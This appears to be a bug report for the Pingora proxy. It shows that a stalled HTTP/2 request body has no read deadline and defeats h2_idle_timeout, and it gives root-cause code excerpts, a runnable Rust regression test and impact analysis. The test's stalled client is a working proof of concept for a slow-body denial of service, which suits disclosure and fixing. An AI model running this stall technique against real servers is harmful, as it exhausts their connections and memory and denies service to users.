[bug] Downstream HTTP/2 request-body reads have no deadline: stalled streams defeat h2_idle_timeout
Describe the bug
A downstream HTTP/2 stream can park forever while the proxy reads its request body. A client can send valid HEADERS that announce a body and then stop sending without ending the stream. The server waits in HttpSession::read_body_bytes(), which has no deadline, and the stream stays active, so h2_idle_timeout never applies: the connection-level idle timer starts only after the last active stream finishes.
The stream task holds its StreamGuard for its whole lifetime, so the connection cannot be reclaimed while the read is pending. The proxy also runs the two directions of the request under tokio::try_join!, so the upstream session is released only after the downstream half returns. A stalled request therefore pins one task, one HTTP/2 stream, one downstream connection with its descriptor, and one upstream connection or stream. Each stalled stream also keeps ActiveSessions above zero, which blocks the idle path for the whole connection.
Two listener configurations are affected: plaintext with h2c: true, and TLS with ALPN h2. No credentials, request completion, or malformed input are required. A client that crashes after sending HEADERS and keeps its TCP connection open stalls the same way.
Root cause
1. The proxy loop keeps polling the request body after the response completes
// pingora-proxy/src/proxy_h2.rs:555-579 (abridged)
while !downstream_state.is_done()
|| !response_state.is_done()
|| downstream_custom_read && !downstream_state.is_errored()
|| downstream_custom_write
{
// ...
tokio::select! {
// NOTE: cannot avoid this copy since h2 owns the buf
body = session.downstream_session.read_body_or_idle(downstream_state.is_done()), if downstream_state.can_poll() => {downstream_state leaves the Reading state only when the request body is finished or errored:
// pingora-proxy/src/proxy_common.rs:423-443 (abridged)
impl DownstreamStateMachine {
pub fn new(finished: bool) -> Self {
if finished {
Self::ReadingFinished
} else {
Self::Reading
}
}
// Can call read() to read more data or wait on closing
pub fn can_poll(&self) -> bool {
!matches!(self, Self::Errored)
}
pub fn is_done(&self) -> bool {
!matches!(self, Self::Reading)
}Once the upstream response completes while the request body is still unfinished, the other select! branches become disabled: rx.recv() requires !response_state.upstream_done(), the buffered-task branch requires a buffered task, and the cache-write branches drain their queues. The body-read branch remains enabled because can_poll() stays true, so the loop never reaches its else => break arm (pingora-proxy/src/proxy_h2.rs:856-858). It waits on the request body even though the response is already done.
2. The downstream HTTP/2 read has no deadline
// pingora-core/src/protocols/http/v2/server.rs:522-527
pub async fn read_body_bytes(&mut self) -> Result<Option<Bytes>> {
// TODO: timeout
let data = self.request_body_reader.data().await.transpose().or_err(
ErrorType::ReadError,
"while reading downstream request body",
)?;// pingora-core/src/protocols/http/v2/server.rs:914-926
/// Similar to `read_body_bytes()` but will be pending after Ok(None) is returned,
/// until the client closes the connection
pub async fn read_body_or_idle(&mut self, no_body_expected: bool) -> Result<Option<Bytes>> {
if no_body_expected || self.is_body_done() {
let reason = self.idle().await?;
Error::e_explain(
ErrorType::H2Error,
format!("Client closed H2, reason: {reason}"),
)
} else {
self.read_body_bytes().await
}
}For a declared but unfinished body, read_body_or_idle(false) calls read_body_bytes(), which awaits RecvStream::data(). In h2 (server side), that future resolves only on DATA, END_STREAM, RST_STREAM, or a connection error. A client that sends none of these leaves the await pending forever.
3. The HTTP/2 session has no read timeout, unlike HTTP/1
The HTTP/2 downstream session exposes a write timeout and a drain timeout, but no read timeout:
// pingora-core/src/protocols/http/v2/server.rs:270-294 (abridged)
pub struct HttpSession {
request_header: RequestHeader,
request_body_reader: RecvStream,
send_response: SendResponse<Bytes>,
send_response_body: Option<SendStream<Bytes>>,
// ...
pub write_timeout: Option<Duration>,
// How long to wait when draining (discarding) request body
total_drain_timeout: Option<Duration>,
}The HTTP/1 downstream session, by contrast, defaults to a 60-second read timeout and applies it to every body read:
// pingora-core/src/protocols/http/v1/server.rs:184-191 (abridged)
keepalive_timeout: KeepaliveStatus::Off,
update_resp_headers: true,
response_written: None,
request_header: None,
read_timeout: Some(Duration::from_secs(60)),
write_timeout: None,
total_drain_timeout: None,// pingora-core/src/protocols/http/v1/server.rs:605-614
/// Read the body into the internal buffer
async fn read_body(&mut self) -> Result<Option<BufRef>> {
match self.read_timeout {
Some(t) => match timeout(t, self.do_read_body()).await {
Ok(res) => res,
Err(_) => Error::e_explain(ReadTimedout, format!("reading body, timeout: {t:?}")),
},
None => self.do_read_body().await,
}
}The HTTP/2 path has no equivalent, so the timeout contract that exists for HTTP/1 does not carry over after the protocol handshake.
4. The idle timeout only counts idle connections
h2_idle_timeout is enforced by accept_downstream_sessions, which starts a fresh idle period only after every active stream has finished:
// pingora-core/src/protocols/http/v2/server.rs:206-246 (abridged)
pub(crate) struct StreamGuard(Arc<ActiveSessions>);
impl Drop for StreamGuard {
fn drop(&mut self) {
if self.0.count.fetch_sub(1, Ordering::Relaxed) == 1 {
self.0.idle.notify_one();
}
}
}
// ...
async fn wait_for_idle_timeout(active: &ActiveSessions, idle_timeout: Duration) {
active.wait_until_idle().await;
if !idle_timeout.is_zero() {
pingora_timeout::sleep(idle_timeout).await;
}
}The guard is moved into the per-stream task and held for the whole task lifetime:
// pingora-core/src/apps/mod.rs:337-356 (abridged)
let h2_idle_timeout = self.server_options().and_then(|o| o.h2_idle_timeout);
server::accept_downstream_sessions(
h2_conn,
digest,
shutdown.clone(),
h2_idle_timeout,
|h2_stream, guard| {
// ...
pingora_runtime::current_handle().spawn(async move {
// hold `guard` for the session's lifetime so the accept
// loop's idle timeout sees this connection as busy.
let _guard = guard;
app.process_new_http(
ServerSession::<DS>::new_http2_with_custom_session(h2_stream),
&shutdown,
)
.await;
});
},
)
.await;A stalled request body keeps the guard alive, so ActiveSessions never reaches zero and wait_for_idle_timeout never starts its sleep. The connection stays open on both ends for as long as the client wants.
5. The upstream half is held until the downstream half returns
// pingora-proxy/src/proxy_h2.rs:306-318 (abridged)
let ret = tokio::try_join!(
self.bidirection_down_to_up(
session,
&mut client_body,
rx,
ctx,
write_timeout,
// ...
),
pipe_up_to_down_response(client_session, tx, pipe_state)
);Because the downstream half does not return, the upstream Http2Session or HTTP/1 connection is not released back to the pool. The upstream read timeout defaults to None as well (pingora-core/src/upstreams/peer.rs:575-582), so it does not bound the upstream direction either.
6. Other timeouts do not apply
total_drain_timeoutwraps onlydrain_request_body, and the proxy does not call it on this path; its default isNone.- The downstream
write_timeoutcontrols the response direction, and its default isNone. Runtime::shutdown_timeoutreclaims these tasks only when the process receives a shutdown signal.- The
h2crate imposes no idle timeout on a connection whose peer stays silent, and pingora does not send PING frames to downstream clients.
Pingora info
Pingora version: 0.9.0, main at 4487f7b2ab50f159e4a2cf4f6a6b813f61bb6e19
Rust version: nightly-2026-03-21 (toolchain used for the reproduction)
Dependency: h2 0.4.19 (workspace declares h2 = ">=0.4.16")
Operating system version: Linux on x86_64. The reproducer uses in-process duplex streams, so it is platform-independent.
Steps to reproduce
Save the file below as pingora-core/tests/h2_downstream_body_no_deadline.rs and run:
cargo +nightly-2026-03-21 test -p pingora-core --test h2_downstream_body_no_deadline -- --nocaptureOn the current tree both tests fail after the 5-second bound. That failure is the reproduction.
pingora-core/tests/h2_downstream_body_no_deadline.rs (runnable test file)//! Regression tests: downstream HTTP/2 request-body reads must be bounded.
//!
//! Run: cargo +nightly-2026-03-21 test -p pingora-core --test h2_downstream_body_no_deadline -- --nocapture
//! Expected on the current tree: both tests fail after the 5-second bound.
use std::fmt;
use std::pin::Pin;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::task::{Context, Poll};
use std::time::Duration;
use async_trait::async_trait;
use pingora_core::apps::{HttpServerApp, HttpServerOptions, ReusedHttpStream, ServerApp};
use pingora_core::protocols::http::v2::server::{self, H2Accept, HttpSession};
use pingora_core::protocols::http::ServerSession;
use pingora_core::protocols::l4::stream::Stream as L4Stream;
use pingora_core::protocols::l4::virt::{VirtualSockOpt, VirtualSocket, VirtualSocketStream};
use pingora_core::protocols::{Digest, Stream};
use pingora_core::server::ShutdownWatch;
use tokio::io::{AsyncRead, AsyncWrite, ReadBuf};
use tokio::time::timeout;
const BOUND: Duration = Duration::from_secs(5);
const IDLE: Duration = Duration::from_secs(1);
struct StallSocket {
inner: tokio::io::DuplexStream,
}
impl fmt::Debug for StallSocket {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str("StallSocket")
}
}
impl AsyncRead for StallSocket {
fn poll_read(
mut self: Pin<&mut Self>,
cx: &mut Context<'_>,
buf: &mut ReadBuf<'_>,
) -> Poll<std::io::Result<()>> {
Pin::new(&mut self.inner).poll_read(cx, buf)
}
}
impl AsyncWrite for StallSocket {
fn poll_write(
mut self: Pin<&mut Self>,
cx: &mut Context<'_>,
buf: &[u8],
) -> Poll<std::io::Result<usize>> {
Pin::new(&mut self.inner).poll_write(cx, buf)
}
fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<std::io::Result<()>> {
Pin::new(&mut self.inner).poll_flush(cx)
}
fn poll_shutdown(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<std::io::Result<()>> {
Pin::new(&mut self.inner).poll_shutdown(cx)
}
}
impl VirtualSocket for StallSocket {
fn set_socket_option(&self, _opt: VirtualSockOpt) -> std::io::Result<()> {
Ok(())
}
}
fn server_stream(io: tokio::io::DuplexStream) -> Stream {
Box::new(L4Stream::from(VirtualSocketStream::new(Box::new(
StallSocket { inner: io },
))))
}
/// Sends POST HEADERS that declare a 100-byte body, then never sends DATA
/// or END_STREAM. The handle stays alive, so the stream is not reset.
async fn spawn_stalled_client(io: tokio::io::DuplexStream) -> tokio::task::JoinHandle<()> {
let (send_req, conn) = h2::client::handshake(io).await.unwrap();
tokio::spawn(async move {
let _ = conn.await;
});
let mut send_req = send_req.ready().await.unwrap();
let req = http::Request::builder()
.method("POST")
.uri("http://example.com/")
.header("content-length", "100")
.body(())
.unwrap();
let (resp, body) = send_req.send_request(req, false).unwrap();
tokio::spawn(async move {
let _keep_alive = (send_req, resp, body);
std::future::pending::<()>().await;
})
}
#[tokio::test]
async fn h2_request_body_read_must_not_park_forever() {
let (server_io, client_io) = tokio::io::duplex(64 * 1024);
let client = spawn_stalled_client(client_io).await;
let mut conn = timeout(BOUND, server::handshake(server_stream(server_io), None))
.await
.expect("server h2 handshake timed out")
.expect("server h2 handshake failed");
let read = timeout(BOUND, async {
loop {
match HttpSession::from_h2_conn(&mut conn, Arc::new(Digest::default()))
.await
.expect("accept failed")
{
Some(H2Accept::Session(mut session)) => {
return session.read_body_or_idle(false).await;
}
Some(H2Accept::Rejected) => continue,
None => panic!("connection closed before a stream was accepted"),
}
}
})
.await;
client.abort();
assert!(
read.is_ok(),
"VULNERABILITY REPRODUCED: the downstream HTTP/2 request-body read was \
still pending after {BOUND:?}. `read_body_bytes()` awaits \
`RecvStream::data()` with no deadline (v2/server.rs:522-527) and the \
active stream disables the connection's h2 idle timeout."
);
}
struct BodyStallApp {
options: HttpServerOptions,
reading: Arc<AtomicBool>,
read_returned: Arc<AtomicBool>,
}
#[async_trait]
impl HttpServerApp for BodyStallApp {
async fn process_new_http(
self: &Arc<Self>,
mut session: ServerSession,
_shutdown: &ShutdownWatch,
) -> Option<ReusedHttpStream> {
self.reading.store(true, Ordering::SeqCst);
let _ = session.read_body_or_idle(false).await;
self.read_returned.store(true, Ordering::SeqCst);
None
}
fn server_options(&self) -> Option<&HttpServerOptions> {
Some(&self.options)
}
}
#[tokio::test]
async fn h2_idle_timeout_must_reclaim_a_stream_stalled_on_request_body() {
let mut options = HttpServerOptions::default();
options.h2c = true;
options.h2_idle_timeout = Some(IDLE);
let app = Arc::new(BodyStallApp {
options,
reading: Arc::new(AtomicBool::new(false)),
read_returned: Arc::new(AtomicBool::new(false)),
});
let (server_io, client_io) = tokio::io::duplex(64 * 1024);
let client = spawn_stalled_client(client_io).await;
let (_shutdown_tx, shutdown) = tokio::sync::watch::channel(false);
let call = <BodyStallApp as ServerApp<()>>::process_new(
&app,
server_stream(server_io),
&shutdown,
);
tokio::pin!(call);
let entered = timeout(BOUND, async {
loop {
tokio::select! {
biased;
_ = &mut call => panic!("process_new returned before the stream stalled"),
_ = tokio::task::yield_now() => {}
}
if app.reading.load(Ordering::SeqCst) {
break;
}
}
})
.await;
assert!(
entered.is_ok(),
"stream task never reached the request-body read"
);
let _ = timeout(IDLE * 3, async {
loop {
tokio::select! {
biased;
_ = &mut call => panic!("process_new returned unexpectedly"),
_ = tokio::task::yield_now() => {}
}
if app.read_returned.load(Ordering::SeqCst) {
break;
}
}
})
.await;
let returned = app.read_returned.load(Ordering::SeqCst);
client.abort();
assert!(
returned,
"VULNERABILITY REPRODUCED: the request-body read was still pending \
after > 3 x {IDLE:?}. The active stream keeps `ActiveSessions` \
non-zero, so `wait_for_idle_timeout` never starts \
(v2/server.rs:133-247) and `read_body_bytes()` has no deadline."
);
}A wire-level reproduction is also possible: complete the HTTP/2 or h2c handshake, send HEADERS for a request that declares a body, and then send nothing while keeping the connection open.
Expected results
The request-body read is bounded. When a read deadline elapses, or when the response completes while the request body is unfinished, the server resets or closes the stream, and the task, stream, connection, and upstream session are released.
Observed results
Both tests failed after the 5-second bound. The production awaits stayed pending for the whole bound, and the connection stayed allocated because the stream was still active.
Test output (sanitized: user, host, and paths normalized)<user>@<host>:~/work/pingora$ cargo +nightly-2026-03-21 test -p pingora-core --test h2_downstream_body_no_deadline -- --nocapture
Compiling pingora-core v0.9.0 (/work/pingora/pingora-core)
Finished `test` profile [unoptimized + debuginfo] target(s) in 1.87s
Running tests/h2_downstream_body_no_deadline.rs (target/debug/deps/h2_downstream_body_no_deadline-d7672d041a60dc57)
running 2 tests
thread 'h2_idle_timeout_must_reclaim_a_stream_stalled_on_request_body' (558799) panicked at pingora-core/tests/h2_downstream_body_no_deadline.rs:252:5:
VULNERABILITY REPRODUCED: the request-body read was still pending after > 3 x 1s. The active stream keeps `ActiveSessions` non-zero, so `wait_for_idle_timeout` never starts (v2/server.rs:133-247) and `read_body_bytes()` has no deadline.
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
test h2_idle_timeout_must_reclaim_a_stream_stalled_on_request_body ... FAILED
thread 'h2_request_body_read_must_not_park_forever' (558800) panicked at pingora-core/tests/h2_downstream_body_no_deadline.rs:156:5:
VULNERABILITY REPRODUCED: the downstream HTTP/2 request-body read was still pending after 5s. `read_body_bytes()` awaits `RecvStream::data()` with no deadline (v2/server.rs:522-527) and the active stream disables the connection's h2 idle timeout.
test h2_request_body_read_must_not_park_forever ... FAILED
failures:
failures:
h2_idle_timeout_must_reclaim_a_stream_stalled_on_request_body
h2_request_body_read_must_not_park_forever
test result: FAILED. 0 passed; 2 failed; 0 ignored; 0 measured; 0 filtered out; finished in 5.00s
error: test failed, to rerun pass `-p pingora-core --test h2_downstream_body_no_deadline`
<user>@<host>:~/work/pingora$Impact
A remote peer can park streams without credentials and without completing a request. Each stalled stream holds one task, one active HTTP/2 stream, one upstream connection or stream, and flow-control capacity on the downstream connection. Because the stream stays active, the connection-level h2_idle_timeout never applies, even when a deployment configures it. The default DEFAULT_MAX_CONCURRENT_STREAMS is 100 (pingora-core/src/protocols/http/v2/server.rs:57), so one connection can hold up to 100 stalled requests, and the number of connections is bounded only by the peer. Sustained traffic can exhaust file descriptors, tasks, and memory, and the listener can no longer serve new connections. The process does not reclaim these resources during normal operation.
Source: cloudflare/pingora